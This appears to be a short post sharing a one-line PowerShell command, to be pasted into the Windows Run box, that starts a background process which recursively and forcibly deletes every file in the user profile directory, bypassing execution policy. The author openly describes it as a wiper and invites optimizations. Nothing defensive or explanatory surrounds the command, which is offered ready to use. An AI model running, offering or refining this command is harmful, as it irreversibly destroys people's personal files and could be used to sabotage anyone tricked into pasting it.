Opens a background process that completely wipes all files in the user profile directory.
To run, copy the command below and paste into the Run box (opened through Windows + R).
powershell.exe Start-Process powershell.exe -NoNewWindow -argument '-nologo -noprofile -executionpolicy bypass -command Remove-Item $env:userprofile\* -Recurse -Force'
I've very little experience with Windows; optimizations & fixes are very welcome!